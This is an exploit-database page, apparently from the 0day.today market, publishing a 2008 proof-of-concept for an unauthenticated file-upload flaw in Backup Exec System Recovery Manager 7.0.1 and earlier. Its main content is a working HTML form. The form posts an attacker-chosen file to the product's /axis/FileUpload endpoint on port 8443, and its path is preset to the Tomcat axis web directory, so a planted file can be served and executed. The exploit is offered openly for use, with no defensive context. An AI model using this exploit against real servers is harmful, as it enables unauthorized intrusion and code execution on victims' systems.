[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Backup Exec System Recovery Manager <= 7.0.1 File Upload Exploit

Author
titon
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9137
Category
remote exploits
Date add
07-02-2008
Platform
unsorted
================================================================
Backup Exec System Recovery Manager <= 7.0.1 File Upload Exploit
================================================================



<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>



#  0day.today [2024-11-16]  #